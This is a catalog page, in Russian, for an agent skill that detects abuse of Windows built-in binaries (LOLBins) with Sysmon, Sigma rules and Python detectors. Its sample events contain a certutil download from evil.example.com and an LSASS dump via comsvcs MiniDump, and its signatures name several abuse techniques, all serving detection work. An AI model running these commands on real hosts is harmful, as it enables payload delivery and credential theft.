detecting-living-off-the-land-attacks

mukul975/Anthropic-Cybersecurity-Skills

Обнаружение злоупотребления легитимными бинарниками Windows (LOLBins).

Звёзды36 321
Авторmukul975
Установок53

Установка

SKILL.md

Обнаружение атак Living Off the Land

Отслеживайте подозрительное использование легитимных бинарных файлов Windows (LOLBins), включая certutil, mshta, rundll32, regsvr32 и другие, используемые в бесфайловых атаках и атаках living-off-the-land.

Когда использовать

  • Создание правил обнаружения для платформ SIEM или EDR для выявления злоупотребления LOLBin в реальном времени
  • Расследование оповещений, когда легитимные системные бинарные файлы появляются в неожиданных контекстах выполнения
  • Поиск угроз по телеметрии конечных точек для индикаторов бесфайловых атак
  • Усиление политик белых списков приложений (AppLocker, WDAC) для ограничения опасного использования LOLBin
  • Создание конфигураций Sysmon, настроенных на захват событий создания процессов, связанных с LOLBin
  • Реагирование на инциденты, когда злоумышленники обошли AV, используя только встроенные инструменты ОС

Не использовать для полной блокировки выполнения всех LOLBin; это легитимные системные инструменты с допустимыми административными применениями. Обнаружение должно фокусироваться на аномальном контексте (родительский процесс, аргументы командной строки, сетевая активность), а не только на присутствии бинарного файла.

Предварительные требования

  • Sysmon v15+ установлен на конечных точках Windows с настроенной конфигурацией (базовая линия SwiftOnSecurity или Olaf Hartong)
  • Платформа SIEM, принимающая события Sysmon с ID 1 (Process Create), 3 (Network Connection), 7 (Image Loaded), 11 (File Create)
  • Пересылка журналов событий Windows для событий безопасности с ID 4688 (Process Creation с включённым журналированием командной строки)
  • Справочник проекта LOLBAS: https://lolbas-project.github.io/
  • Python 3.8+ с evtx, pandas для офлайн-анализа журналов
  • Репозиторий правил Sigma для создания правил обнаружения кроссплатформенных

Рабочий процесс

Шаг 1: Разверните конфигурацию Sysmon, ориентированную на LOLBin

Создайте конфигурацию Sysmon, которая захватывает события создания процессов и сетевые события, необходимые для обнаружения LOLBin:

<!-- File: sysmon-lolbin-detection.xml -->
<Sysmon schemaversion="4.90">
  <EventFiltering>
    <!-- Process Creation: capture all LOLBin executions with full command lines -->
    <RuleGroup name="LOLBin Process Creation" groupRelation="or">
      <ProcessCreate onmatch="include">
        <Image condition="end with">certutil.exe</Image>
        <Image condition="end with">mshta.exe</Image>
        <Image condition="end with">rundll32.exe</Image>
        <Image condition="end with">regsvr32.exe</Image>
        <Image condition="end with">msbuild.exe</Image>
        <Image condition="end with">installutil.exe</Image>
        <Image condition="end with">cmstp.exe</Image>
        <Image condition="end with">wmic.exe</Image>
        <Image condition="end with">bitsadmin.exe</Image>
        <Image condition="end with">certreq.exe</Image>
        <Image condition="end with">esentutl.exe</Image>
        <Image condition="end with">expand.exe</Image>
        <Image condition="end with">extrac32.exe</Image>
        <Image condition="end with">findstr.exe</Image>
        <Image condition="end with">hh.exe</Image>
        <Image condition="end with">ie4uinit.exe</Image>
        <Image condition="end with">mavinject.exe</Image>
        <Image condition="end with">msiexec.exe</Image>
        <Image condition="end with">odbcconf.exe</Image>
        <Image condition="end with">pcalua.exe</Image>
        <Image condition="end with">presentationhost.exe</Image>
        <Image condition="end with">replace.exe</Image>
        <Image condition="end with">xwizard.exe</Image>
        <!-- PowerShell variants -->
        <Image condition="end with">powershell.exe</Image>
        <Image condition="end with">pwsh.exe</Image>
        <!-- Script hosts -->
        <Image condition="end with">cscript.exe</Image>
        <Image condition="end with">wscript.exe</Image>
      </ProcessCreate>
    </RuleGroup>

    <!-- Network connections from LOLBins (highly suspicious) -->
    <RuleGroup name="LOLBin Network" groupRelation="or">
      <NetworkConnect onmatch="include">
        <Image condition="end with">certutil.exe</Image>
        <Image condition="end with">mshta.exe</Image>
        <Image condition="end with">rundll32.exe</Image>
        <Image condition="end with">regsvr32.exe</Image>
        <Image condition="end with">msbuild.exe</Image>
        <Image condition="end with">bitsadmin.exe</Image>
        <Image condition="end with">expand.exe</Image>
        <Image condition="end with">esentutl.exe</Image>
        <Image condition="end with">replace.exe</Image>
      </NetworkConnect>
    </RuleGroup>
  </EventFiltering>
</Sysmon>
# Install or update Sysmon with the LOLBin config
sysmon64.exe -accepteula -i sysmon-lolbin-detection.xml

# Update existing Sysmon installation
sysmon64.exe -c sysmon-lolbin-detection.xml

Шаг 2: Создайте правила обнаружения Sigma для ключевых LOLBin

Напишите правила Sigma, которые обнаруживают конкретные шаблоны злоупотребления, переводимые в любой SIEM:

# File: sigma/certutil_download.yml
title: Certutil Used to Download File
id: a1b2c3d4-5678-9abc-def0-123456789abc
status: stable
description: >
  Detects certutil.exe being used to download files from remote URLs,
  a common LOLBin technique for payload delivery (LOLBAS T1105).
references:
  - https://lolbas-project.github.io/lolbas/Binaries/Certutil/
  - https://attack.mitre.org/techniques/T1105/
author: Threat Detection Team
date: 2026/01/20
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|endswith: '\certutil.exe'
    CommandLine|contains|all:
      - 'urlcache'
      - '-f'
      - 'http'
  condition: selection
falsepositives:
  - Legitimate certificate enrollment using certutil with URL parameters
level: high
tags:
  - attack.defense_evasion
  - attack.t1218
  - attack.command_and_control
  - attack.t1105
# File: sigma/mshta_execution.yml
title: MSHTA Executing Remote or Inline Script
id: b2c3d4e5-6789-abcd-ef01-234567890bcd
status: stable
description: >
  Detects mshta.exe executing scripts from URLs or inline VBScript/JavaScript,
  commonly used for application whitelisting bypass and initial access.
references:
  - https://lolbas-project.github.io/lolbas/Binaries/Mshta/
  - https://attack.mitre.org/techniques/T1218/005/
logsource:
  category: process_creation
  product: windows
detection:
  selection_remote:
    Image|endswith: '\mshta.exe'
    CommandLine|contains: 'http'
  selection_inline:
    Image|endswith: '\mshta.exe'
    CommandLine|contains:
      - 'vbscript:'
      - 'javascript:'
  selection_parent_anomaly:
    Image|endswith: '\mshta.exe'
    ParentImage|endswith:
      - '\winword.exe'
      - '\excel.exe'
      - '\outlook.exe'
      - '\powerpnt.exe'
  condition: selection_remote or selection_inline or selection_parent_anomaly
falsepositives:
  - Legacy HTA-based internal applications
level: high
# File: sigma/regsvr32_scrobj.yml
title: Regsvr32 Squiblydoo Scriptlet Execution
id: c3d4e5f6-7890-bcde-f012-345678901cde
status: stable
description: >
  Detects regsvr32.exe loading scrobj.dll with a remote scriptlet URL,
  known as the Squiblydoo technique for AppLocker bypass.
references:
  - https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/
  - https://attack.mitre.org/techniques/T1218/010/
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|endswith: '\regsvr32.exe'
    CommandLine|contains|all:
      - 'scrobj.dll'
      - '/i:'
  condition: selection
falsepositives:
  - Legitimate COM scriptlet registration (rare in modern environments)
level: critical

Шаг 3: Анализируйте журналы Sysmon на предмет шаблонов злоупотребления LOLBin

Разбирайте и коррелируйте события Sysmon для выявления подозрительного выполнения LOLBin:

import json
import re
from datetime import datetime, timedelta
from collections import defaultdict
from pathlib import Path

# Known LOLBins and their suspicious command-line indicators
LOLBIN_SIGNATURES = {
    "certutil.exe": {
        "suspicious_args": [
            r"-urlcache\s+-f\s+http",
            r"-decode\s+",
            r"-encode\s+",
            r"-verifyctl\s+.*http",
        ],
        "mitre": "T1218, T1105",
        "severity": "high"
    },
    "mshta.exe": {
        "suspicious_args": [
            r"https?://",
            r"vbscript:",
            r"javascript:",
            r"about:",
        ],
        "mitre": "T1218.005",
        "severity": "high"
    },
    "rundll32.exe": {
        "suspicious_args": [
            r"javascript:",
            r"shell32\.dll.*ShellExec_RunDLL",
            r"\\\\.*\\.*\.dll",  # UNC path DLL loading
            r"comsvcs\.dll.*MiniDump",  # LSASS dump via comsvcs
        ],
        "mitre": "T1218.011",
        "severity": "critical"
    },
    "regsvr32.exe": {
        "suspicious_args": [
            r"/s\s+/n\s+/u\s+/i:",
            r"scrobj\.dll",
            r"https?://",
        ],
        "mitre": "T1218.010",
        "severity": "critical"
    },
    "bitsadmin.exe": {
        "suspicious_args": [
            r"/transfer\s+.*https?://",
            r"/create\s+.*\/addfile\s+.*https?://",
            r"/SetNotifyCmdLine",
        ],
        "mitre": "T1197",
        "severity": "high"
    },
    "wmic.exe": {
        "suspicious_args": [
            r"process\s+call\s+create",
            r"/node:",
            r"os\s+get\s+/format:.*https?://",
            r"xsl.*https?://",
        ],
        "mitre": "T1047",
        "severity": "high"
    },
    "msbuild.exe": {
        "suspicious_args": [
            r"\.xml\b",
            r"\.csproj\b",
            r"\\temp\\",
            r"\\appdata\\",
        ],
        "mitre": "T1127.001",
        "severity": "high"
    },
    "mavinject.exe": {
        "suspicious_args": [
            r"/INJECTRUNNING\s+\d+",
        ],
        "mitre": "T1218.013",
        "severity": "critical"
    },
}

def analyze_sysmon_events(events):
    """Analyze Sysmon process creation events for LOLBin abuse."""
    alerts = []

    for event in events:
        image = event.get("Image", "").lower()
        cmdline = event.get("CommandLine", "")
        parent = event.get("ParentImage", "")

        # Check if the process is a known LOLBin
        for lolbin, config in LOLBIN_SIGNATURES.items():
            if image.endswith(lolbin.lower()):
                for pattern in config["suspicious_args"]:
                    if re.search(pattern, cmdline, re.IGNORECASE):
                        alert = {
                            "timestamp": event.get("UtcTime", ""),
                            "hostname": event.get("Computer", ""),
                            "lolbin": lolbin,
                            "command_line": cmdline,
                            "parent_process": parent,
                            "user": event.get("User", ""),
                            "process_id": event.get("ProcessId", ""),
                            "parent_pid": event.get("ParentProcessId", ""),
                            "mitre_technique": config["mitre"],
                            "severity": config["severity"],
                            "matched_pattern": pattern,
                        }
                        alerts.append(alert)
                        break
    return alerts

# Example usage with parsed Sysmon events
sample_events = [
    {
        "UtcTime": "2026-01-20 14:32:15.000",
        "Computer": "WORKSTATION-01",
        "Image": "C:\\Windows\\System32\\certutil.exe",
        "CommandLine": "certutil.exe -urlcache -f http://evil.example.com/payload.exe C:\\temp\\update.exe",
        "ParentImage": "C:\\Windows\\System32\\cmd.exe",
        "User": "CORP\\jsmith",
        "ProcessId": "4532",
        "ParentProcessId": "2108",
    },
    {
        "UtcTime": "2026-01-20 14:33:01.000",
        "Computer": "WORKSTATION-01",
        "Image": "C:\\Windows\\System32\\rundll32.exe",
        "CommandLine": "rundll32.exe comsvcs.dll, MiniDump 624 C:\\temp\\dump.bin full",
        "ParentImage": "C:\\Windows\\System32\\cmd.exe",
        "User": "CORP\\jsmith",
        "ProcessId": "5128",
        "ParentProcessId": "2108",
    },
]

alerts = analyze_sysmon_events(sample_events)
for alert in alerts:
    print(f"[{alert['severity'].upper()}] {alert['lolbin']} on {alert['hostname']}")
    print(f"  MITRE: {alert['mitre_technique']}")
    print(f"  Command: {alert['command_line'][:120]}")
    print(f"  Parent: {alert['parent_process']}")
    print(f"  User: {alert['user']}")
    print()

Шаг 4: Обнаруживайте сетевые подключения LOLBin

LOLBins, устанавливающие исходящие сетевые подключения, — сильный индикатор вредоносного использования:

def detect_lolbin_network_activity(network_events, process_events):
    """Correlate Sysmon network events (ID 3) with process creation (ID 1)
    to find LOLBins making outbound connections."""

    # LOLBins that should rarely make outbound connections
    NETWORK_SUSPICIOUS = {
        "certutil.exe", "mshta.exe", "rundll32.exe", "regsvr32.exe",
        "msbuild.exe", "installutil.exe", "bitsadmin.exe", "esentutl.exe",
        "expand.exe", "replace.exe", "cmstp.exe", "presentationhost.exe",
    }

    alerts = []
    for event in network_events:
        image = event.get("Image", "").lower()
        binary_name = image.split("\\")[-1] if "\\" in image else image

        if binary_name in NETWORK_SUSPICIOUS:
            dest_ip = event.get("DestinationIp", "")
            dest_port = event.get("DestinationPort", "")

            # Skip localhost and internal DNS
            if dest_ip.startswith("127.") or dest_ip == "::1":
                continue

            alert = {
                "type": "lolbin_network_connection",
                "binary": binary_name,
                "destination_ip": dest_ip,
                "destination_port": dest_port,
                "destination_hostname": event.get("DestinationHostname", ""),
                "source_ip": event.get("SourceIp", ""),
                "user": event.get("User", ""),
                "timestamp": event.get("UtcTime", ""),
                "severity": "critical",
            }
            alerts.append(alert)
            print(f"[CRITICAL] {binary_name} connected to "
                  f"{dest_ip}:{dest_port} ({event.get('DestinationHostname', 'N/A')})")

    return alerts

Шаг 5: Отслеживайте аномальные отношения родительских и дочерних процессов

# Suspicious parent-child relationships indicating LOLBin abuse
SUSPICIOUS_PARENT_CHILD = [
    # Office apps spawning LOLBins (macro execution)
    {"parent": ["winword.exe", "excel.exe", "powerpnt.exe", "outlook.exe"],
     "child": ["cmd.exe", "powershell.exe", "pwsh.exe", "mshta.exe",
               "wscript.exe", "cscript.exe", "certutil.exe"],
     "severity": "critical", "mitre": "T1204.002"},

    # Explorer spawning script interpreters directly
    {"parent": ["explorer.exe"],
     "child": ["mshta.exe", "regsvr32.exe", "msbuild.exe"],
     "severity": "high", "mitre": "T1218"},

    # WMI provider spawning processes (lateral movement)
    {"parent": ["wmiprvse.exe"],
     "child": ["cmd.exe", "powershell.exe", "mshta.exe"],
     "severity": "critical", "mitre": "T1047"},

    # Services spawning unusual children
    {"parent": ["services.exe"],
     "child": ["cmd.exe", "powershell.exe", "mshta.exe", "rundll32.exe"],
     "severity": "high", "mitre": "T1543.003"},
]

def check_parent_child_anomaly(event):
    """Check if a process creation event has a suspicious parent-child pair."""
    parent = event.get("ParentImage", "").split("\\")[-1].lower()
    child = event.get("Image", "").split("\\")[-1].lower()

    for rule in SUSPICIOUS_PARENT_CHILD:
        if parent in rule["parent"] and child in rule["child"]:
            return {
                "alert_type": "suspicious_parent_child",
                "parent": parent,
                "child": child,
                "command_line": event.get("CommandLine", ""),
                "mitre": rule["mitre"],
                "severity": rule["severity"],
                "hostname": event.get("Computer", ""),
                "user": event.get("User", ""),
                "timestamp": event.get("UtcTime", ""),
            }
    return None

Шаг 6: Внедрите усиление AppLocker или WDAC

Ограничьте ненужное выполнение LOLBin с помощью политик управления приложениями:

# Query current AppLocker policy
Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections

# Create AppLocker rules to restrict certutil to admin-only
$rule = New-AppLockerPolicy -RuleType Publisher -RuleNamePrefix "Block" `
    -FileInformation "C:\Windows\System32\certutil.exe" `
    -User "S-1-1-0" -Deny

# Export current policy for backup before applying changes
Get-AppLockerPolicy -Effective -Xml > AppLocker_Backup.xml

# Block specific LOLBins for standard users via GPO script
$lolbins_to_restrict = @(
    "mshta.exe", "cmstp.exe", "msbuild.exe", "installutil.exe",
    "regsvr32.exe", "presentationhost.exe", "ie4uinit.exe",
    "mavinject.exe", "xwizard.exe"
)

foreach ($binary in $lolbins_to_restrict) {
    $path = "C:\Windows\System32\$binary"
    if (Test-Path $path) {
        Write-Output "Restricting: $path"
        # Apply WDAC deny rule via PowerShell
        # In production, use Group Policy or Intune WDAC policies
    }
}

Проверка

  • Убедитесь, что Sysmon регистрирует событие с ID 1 (Process Creation) с полными аргументами командной строки для всех перечисленных LOLBin
  • Проверьте, что правила Sigma корректно преобразуются в язык запросов вашей SIEM с помощью sigmac or sigma-cli
  • Протестируйте обнаружение, выполнив безвредные команды LOLBin в лабораторной среде и убедившись, что оповещения срабатывают
  • Убедитесь, что обнаружение аномалий родительских и дочерних процессов ловит цепочки Office-to-LOLBin (например, winword.exe запускающий certutil.exe)
  • Убедитесь, что обнаружение сетевых подключений LOLBin срабатывает, когда certutil.exe or mshta.exe обращаются к внешним IP-адресам
  • Проверьте, что политики AppLocker или WDAC не нарушают легитимные административные рабочие процессы перед развёртыванием в производственной среде
  • Оцените уровень ложных срабатываний, запустив правила обнаружения против 7 дней базовой телеметрии из чистой среды
  • Сверьте обнаружения с базой данных проекта LOLBAS на https://lolbas-project.github.io/ для полноты

Вставить в README

Ссылка на карточку для вашего README — без картинок и счётчиков.

[DarkPlay: detecting-living-off-the-land-attacks](https://darkplay.ru/ai/skills/mukul975-anthropic-cybersecurity-skills-detecting-living-off-the-land-attacks)

Похожие скиллы и другие разделы каталога

Популярное в разделе «Скиллы»

Самые востребованные скиллов раздела по установкам и звёздам.

find-skillsvercel-labs · Помогает находить и устанавливать навыки агентов по запросам вроде «как сделать X»…
4 400 000 устан.
grill-memattpocock · Настойчивое интервью для доработки плана или дизайна.
1 600 000 устан.
hyperframesheygen-com · Обязательная точка входа для любых задач по видео, анимации и motion-графике в…
1 600 000 устан.
hyperframes-cliheygen-com · Цикл разработки HyperFrames CLI: init, add, render, preview, publish и другие команды.
1 600 000 устан.
agent-browservercel-labs · CLI для автоматизации браузера для ИИ-агентов: навигация по страницам, заполнение форм…
1 600 000 устан.
media-useheygen-com · Agent Media OS: единый навык для медиа в HyperFrames — BGM, SFX, изображения, голос, LUT.
1 500 000 устан.
hyperframes-registryheygen-com · Установка и подключение блоков реестра в композиции HyperFrames через add и catalog.
1 400 000 устан.
grill-with-docsmattpocock · Настойчивое интервью для доработки плана или дизайна, попутно создающее документацию (ADR…
1 300 000 устан.
improve-codebase-architecturemattpocock · Поиск в кодовой базе возможностей для углубления, визуальный HTML-отчёт о них и детальный…
1 300 000 устан.
tddmattpocock · Разработка через тестирование (TDD): red-green-refactor и интеграционные тесты.
1 300 000 устан.
Похожее в других разделах каталога

Соседние разделы каталога: возможно, нужный инструмент живёт там.

Marketing Agentaffaan-m · Маркетинг-стратег и копирайтер: кампании, позиционирование, тексты и контент-планы.
225 587 ★
project-artifactanthropics · Создание и публикация живой страницы статуса проекта — обзор и критерии успеха…
100 комп.
brand-landingpagewshobson · Проводит разработчика от исследования бренда через итеративный дизайн к готовому к…
495 комп.
market-researcheranthropics · От сектора или темы к обзору отрасли, конкурентному ландшафту, сравнению с аналогами и…
186 комп.
product-managementanthropics · Написание спецификаций функций, планирование роадмапов и ускоренный синтез…
233 комп.
a11y-auditalirezarezvani · Аудит и исправление доступности по WCAG 2.2 для React, Next.js, Vue, Angular, Svelte и…
510 комп.
chaos-engineeringalirezarezvani · Полный цикл chaos engineering: эксперименты с гипотезой, метрикой стабильного состояния…
510 комп.
general-counsel-advisoralirezarezvani · Юридический советник: сканер рисков договоров и анализ term sheet.
510 комп.
landingalirezarezvani · Генератор одностраничных HTML-лендингов с 4 стилями и анимацией GSAP.
510 комп.
patentalirezarezvani · Патентный поиск и IP-ландшафт: FTO, новизна, семейства патентов.
510 комп.

Лучшие ИИ-инструменты для генерации видео

Генерация видео

Подборка нейросетей для генерации и монтажа видео. Инструменты, которые превращают текст в готовые ролики, экономят часы на съемках и постпродакшне. Подходит для SMM-специалистов,

VEED.IOVeed
По запросу
5.0
MootionMootion
По запросу
5.0
FlyviFlyvi
Есть бесплатный тариф
4.9
Google Veo 3.1Google
Платно
4.9
Sora (OpenAI)OpenAI
Платно
4.9
PikaPika
Платно
4.9
captions space
Есть бесплатный тариф
4.8
Клайп
Есть бесплатный тариф
4.8
viralpulse.appViralpulse
По запросу
4.8
Viral Maker AIViral-maker
Есть бесплатный тариф
4.8

Лучшие ИИ-инструменты для генерации текста и копирайтинга

Генерация текста и копирайтинг

Подборка нейросетей для генерации текстов и копирайтинга. Сервисы, которые помогают создавать статьи, посты и рекламные объявления с нуля или по черновику, экономя часы рутинной ра

NeuroscribeNeuroscribe
Есть бесплатный тариф
5.0
GoGPTGogpt
По запросу
5.0
ChatsonicChatsonic
По запросу
4.9
НейроТекстерNeuro-texter
По запросу
4.9
ChatGPTOpenAI
По подписке
4.9
Редактум
Есть бесплатный тариф
4.8
ChadGPTChadgpt
По запросу
4.8
Cosmo ScribeCosmoscribe
Есть бесплатный тариф
4.8
Memo HelperCopilot33
По запросу
4.8
LibraChatLibrachat
Есть бесплатный тариф
4.8

Лучшие ИИ-инструменты для генерации изображений

Генерация изображений

Подборка нейросетей для генерации изображений от фотореализма до концепт-арта. Сервисы, которые экономят часы ручной работы, создавая визуал для блогов, рекламы и дизайна за минуты

MagviMagvi
По запросу
5.0
DALL-E 3OpenAI
По подписке
5.0
SupaLabSupalab
По запросу
5.0
Freestyling.aiFreestyling
Есть бесплатный тариф
4.9
ArtGeneration.meArtgeneration
Есть бесплатный тариф
4.9
BigjpgBigjpg
По запросу
4.9
Художник от VKVK
Бесплатно
4.9
Wonderink — ИИ-книги
Есть бесплатный тариф
4.8
Avato AI12ai
По запросу
4.8
Virton AIVirton
По запросу
4.8